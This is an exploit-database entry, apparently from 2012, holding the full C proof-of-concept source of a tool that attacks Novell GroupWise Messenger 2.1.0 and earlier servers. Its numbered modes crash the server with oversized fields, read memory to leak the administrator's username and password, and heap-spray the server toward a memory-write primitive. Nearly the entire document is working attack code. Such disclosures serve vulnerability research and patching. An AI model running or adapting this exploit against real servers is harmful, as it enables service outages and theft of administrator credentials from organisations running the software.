Novell GroupWise Messenger <= 2.1.0 DoS

2012-07-01T00:00:00
ID 1337DAY-ID-18885
Type zdt
Reporter Luigi Auriemma
Modified 2012-07-01T00:00:00

Description

Exploit for windows platform in category dos / poc

                                        
                                            winerr.h

/*
   Header file used for manage errors in Windows
   It support socket and errno too
   (this header replace the previous sock_errX.h)
*/

#include <string.h>
#include <errno.h>



void std_err(void) {
    char    *error;

    switch(WSAGetLastError()) {
        case 10004: error = "Interrupted system call"; break;
        case 10009: error = "Bad file number"; break;
        case 10013: error = "Permission denied"; break;
        case 10014: error = "Bad address"; break;
        case 10022: error = "Invalid argument (not bind)"; break;
        case 10024: error = "Too many open files"; break;
        case 10035: error = "Operation would block"; break;
        case 10036: error = "Operation now in progress"; break;
        case 10037: error = "Operation already in progress"; break;
        case 10038: error = "Socket operation on non-socket"; break;
        case 10039: error = "Destination address required"; break;
        case 10040: error = "Message too long"; break;
        case 10041: error = "Protocol wrong type for socket"; break;
        case 10042: error = "Bad protocol option"; break;
        case 10043: error = "Protocol not supported"; break;
        case 10044: error = "Socket type not supported"; break;
        case 10045: error = "Operation not supported on socket"; break;
        case 10046: error = "Protocol family not supported"; break;
        case 10047: error = "Address family not supported by protocol family"; break;
        case 10048: error = "Address already in use"; break;
        case 10049: error = "Can't assign requested address"; break;
        case 10050: error = "Network is down"; break;
        case 10051: error = "Network is unreachable"; break;
        case 10052: error = "Net dropped connection or reset"; break;
        case 10053: error = "Software caused connection abort"; break;
        case 10054: error = "Connection reset by peer"; break;
        case 10055: error = "No buffer space available"; break;
        case 10056: error = "Socket is already connected"; break;
        case 10057: error = "Socket is not connected"; break;
        case 10058: error = "Can't send after socket shutdown"; break;
        case 10059: error = "Too many references, can't splice"; break;
        case 10060: error = "Connection timed out"; break;
        case 10061: error = "Connection refused"; break;
        case 10062: error = "Too many levels of symbolic links"; break;
        case 10063: error = "File name too long"; break;
        case 10064: error = "Host is down"; break;
        case 10065: error = "No Route to Host"; break;
        case 10066: error = "Directory not empty"; break;
        case 10067: error = "Too many processes"; break;
        case 10068: error = "Too many users"; break;
        case 10069: error = "Disc Quota Exceeded"; break;
        case 10070: error = "Stale NFS file handle"; break;
        case 10091: error = "Network SubSystem is unavailable"; break;
        case 10092: error = "WINSOCK DLL Version out of range"; break;
        case 10093: error = "Successful WSASTARTUP not yet performed"; break;
        case 10071: error = "Too many levels of remote in path"; break;
        case 11001: error = "Host not found"; break;
        case 11002: error = "Non-Authoritative Host not found"; break;
        case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
        case 11004: error = "Valid name, no data record of requested type"; break;
        default: error = strerror(errno); break;
    }
    fprintf(stderr, "\nError: %s\n", error);
    exit(1);
}


----------

nmma_x.c

----------

/*
  by Luigi Auriemma
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <stdarg.h>
#include <time.h>

#ifdef WIN32
    #include <winsock.h>
    #include "winerr.h"

    #define close   closesocket
    #define sleep   Sleep
    #define ONESEC  1000
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netdb.h>

    #define ONESEC  1
#endif

typedef uint8_t     u8;
typedef uint16_t    u16;
typedef uint32_t    u32;



#define VER         "0.1"
#define PORT        8300
#define BUFFSZ      8192    // the server doesn't handle more than this
#define MAXSZ       0xff0   // the server doesn't handle more than this

#define BOFCHR      0x41414141
#define BUG2a       0x00560224
#define BUG2b       0x00560324



int tcp_recv(int sd, u8 *buff, int size);
int recv_gwm(int sd);
int send_gwm(int sd, u8 *cmd, ...);
int timeout(int sock, int secs);
u32 resolv(char *host);
void std_err(void);



int main(int argc, char *argv[]) {
    struct  linger  ling = {1,1};
    struct  sockaddr_in peer;
    int     sd,
            i,
            bug;
    u16     port    = PORT;
    u8      tmp[32],
            *host;

#ifdef WIN32
    WSADATA    wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

    setbuf(stdout, NULL);

    fputs("\n"
        "Vulnerabilities in Novell GroupWise Messenger <= 2.1.0 " VER "\n"
        "by Luigi Auriemma\n"
        "e-mail: [email protected]\n"
        "web:    aluigi.org\n"
        "\n", stdout);

    if(argc < 3) {
        printf("\n"
            "Usage: %s <bug> <host> [port(%d)]\n"
            "\n"
            "Bugs:\n"
            " refer to the relative advisories for the available numbers\n"
            " and what vulnerabilities they test\n"
            "\n", argv[0], port);
        exit(1);
    }

    bug  = atoi(argv[1]);
    host = argv[2];
    if(argc > 3) port = atoi(argv[3]);

    peer.sin_addr.s_addr = resolv(host);
    peer.sin_port        = htons(port);
    peer.sin_family      = AF_INET;

    printf("- target   %s : %hu\n", inet_ntoa(peer.sin_addr), ntohs(peer.sin_port));

    sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if(sd < 0) std_err();
    setsockopt(sd, SOL_SOCKET, SO_LINGER, (char *)&ling, sizeof(ling));
    if(connect(sd, (struct sockaddr *)&peer, sizeof(struct sockaddr_in)) < 0) std_err();

    if(bug == 0) {
        // lame DoS only
        send_gwm(sd, "login",
            "NM_A_SZ_TRANSACTION_ID",   8,  BOFCHR,
            NULL,                       -1, NULL);

    } else if(bug == 1) {
        send_gwm(sd, "login",
            "NM_A_PARM1",               12, BOFCHR,
            NULL,                       -1, NULL);

    } else if(bug == 2) {
        printf("- read memory at offset 0x%08x (administrator FDN username):\n", BUG2a);
        send_gwm(sd, "getdetails",
            "NM_A_SZ_DN",               8,  BUG2a,
            NULL,                       -1, NULL);

        printf("- read memory at offset 0x%08x (administrator password):\n", BUG2b);
        send_gwm(sd, "getdetails",
            "NM_A_SZ_DN",               8,  BUG2b,
            NULL,                       -1, NULL);

    } else if(bug == 3) {
        printf("- heap spray, you will get a write4 in 0x%08x\n", BOFCHR); 
        for(i = 0; i < 50; i++) {
            send_gwm(sd, "createsearch",
                "test",                 10, NULL,   // NULL here is a string of about 4000 'a's
                NULL,                   -1, NULL);

            send_gwm(sd, "createsearch",
                "test",                 9,  0,
                "test",                 9,  0,
                "test",                 9,  0,
                "test",                 9,  0,
                "test",                 9,  0,
                "test",                 9,  0,
                "test",                 9,  0,
                "test",                 9,  0,
                "test",                 9,  0,
                "test",                 9,  0,
                "test",                 9,  0,
                "test",                 9,  0,
                "test",                 9,  0,
                "test",                 9,  0,
                "test",                 9,  0,
                "test",                 9,  0,
                "test",                 9,  0,
                "test",                 9,  0,
                "test",                 9,  0,
                "test",                 9,  0,
                "test",                 9,  0,
                "test",                 9,  0,
                "test",                 9,  0,
                "test",                 9,  0,
                NULL,                   -1, NULL);
        }

        printf(
            "- now I need to join the Messenger server with a valid account.\n"
            "  I will use the account with username \"admin\" and password\n"
            "  \"adminpass\" so that it's not needed to create additional accounts\n"
            "  (boring operation) for verifying this vulnerability.\n"
            "  be sure to have this account on your eDirectory server.\n"
            "  press RETURN to continue the test\n");
        fgets(tmp, sizeof(tmp), stdin);

        send_gwm(sd, "login",
            //"NM_A_PARM1",               10, "Sx6ItFwErgcmyZ62tIbi3w%3d%3d", // blowfish of "test::test"
            "NM_A_PARM1",               10, "1Bi2DNQGfH0ScFGkgDD8dVHeYP%2bt9VL7",   // blowfish of "admin::adminpass"
            "NM_A_SZ_USER_AGENT",       10, "NGWMW%2f2%2e0%2e2+%28Windows+Server+2003%3b+5%2e2%29",
            "NM_A_UD_BUILD",            8,  7,
            NULL,                       -1, NULL);

        send_gwm(sd, "getattribs",
            NULL,                       -1, NULL);

        send_gwm(sd, "createsearch",
            "test",                     9,  0,
            NULL,                       -1, NULL);

    } else {
        printf("\nError: invalid bug number (%d)\n", bug);
        exit(1);
    }

//quit:
    close(sd);
    printf("\n- done\n");
    return(0);
}



int tcp_recv(int sd, u8 *buff, int size) {
    int     i;
    u8      c;

    for(i = 0; i < size; i++) {
        if(recv(sd, buff ? (buff + i) : ((void *)&c), 1, 0) <= 0) return(-1);
    }
    return(i);
}



int recv_gwm(int sd) {
    static u8   *buff = NULL;
    u32     len;
    int     crlf = 0,
            eof  = 0;
    u16     type;
    u8      c;

    for(;;) {
        len = recv(sd, (void *)&c, 1, 0);
        if(len <= 0) return(-1);
        if(c == '\n') crlf++;
        if(c > '\r') crlf = 0;
        if(crlf >= 2) break;
    }

    printf("\n");
    do {
        if(tcp_recv(sd, (void *)&type, 2) < 0) return(-1);
        if(type == 0x683c) {    // "<html>", yeah it's lame but this is only a PoC
            if(tcp_recv(sd, NULL, BUFFSZ) < 0) return(-1);
            break;
        }

        if(tcp_recv(sd, (void *)&len,  4) < 0) return(-1);
        buff = realloc(buff, len);  // no !buff check, will be automatically skipped
        if(tcp_recv(sd, buff,  len) < 0) return(-1);
        if(buff) printf("  %-26s ", buff);
        if(!buff || !strcmp(buff, "NM_A_SZ_TRANSACTION_ID")) eof = 1;

        if(tcp_recv(sd, (void *)&len,  4) < 0) return(-1);
        if((type == 10) || (type == 13)) {
            buff = realloc(buff, len);  // no !buff check, will be automatically skipped
            if(tcp_recv(sd, buff,  len) < 0) return(-1);
            if(buff) printf("%s\n", buff);
        } else {
            printf("%d\n", len);
        }
    } while(!eof);
    printf("\n");
    return(0);
}



int send_gwm(int sd, u8 *cmd, ...) {
    static u8   buff[BUFFSZ + 1],
                tmp[MAXSZ + 1];
    static int  tid = 0;
    va_list     ap;
    int         type,
                len;
    u8          *p,
                *s1,
                *s3;

    p = buff;
    p += sprintf(p,
        "POST /%s HTTP/1.0\r\n"
        "\r\n",
        cmd);

    va_start(ap, cmd);
    for(;;) {
        s1 = va_arg(ap, u8 *);
        if(!s1) break;
        type = va_arg(ap, int);
        if((type == 10) || (type == 13)) {
            s3 = va_arg(ap, u8 *);
            if(!s3) {   // max string
                memset(tmp, BOFCHR & 0xff, MAXSZ);
                tmp[MAXSZ] = 0;
                s3 = tmp;
            } else if((u32)(s3) <= 0x1000) {
                sprintf(tmp, "%d", (u32)s3);
                s3 = tmp;
            }
        } else {
            sprintf(tmp, "%d", va_arg(ap, int));
            s3 = tmp;
        }
        p += sprintf(p,
            "&tag=%s"
            "&cmd=0"
            "&val=%s"
            "&type=%d",
            s1, s3, type);
    }
    va_end(ap);

        p += sprintf(p,
            "&tag=%s"
            "&cmd=0"
            "&val=%d"
            "&type=%d"
            "\n",
            "NM_A_SZ_TRANSACTION_ID", ++tid, 10);

    len = p - buff;
    if(len > BUFFSZ) {
        printf("\nError: too much data (%d) for the send buffer (%d)\n", len, BUFFSZ);
        exit(1);
    }

    //printf(">SEND\n%s\n", buff);
    if(send(sd, buff, len, 0) < 0) return(-1);

    if(recv_gwm(sd) < 0) return(-1);

    return(0);
}



int timeout(int sock, int secs) {
    struct  timeval tout;
    fd_set  fd_read;

    tout.tv_sec  = secs;
    tout.tv_usec = 0;
    FD_ZERO(&fd_read);
    FD_SET(sock, &fd_read);
    if(select(sock + 1, &fd_read, NULL, NULL, &tout)
      <= 0) return(-1);
    return(0);
}



u32 resolv(char *host) {
    struct  hostent *hp;
    u32     host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("\nError: Unable to resolv hostname (%s)\n", host);
            exit(1);
        } else host_ip = *(u32 *)hp->h_addr;
    }
    return(host_ip);
}



#ifndef WIN32
    void std_err(void) {
        perror("\nError");
        exit(1);
    }
#endif




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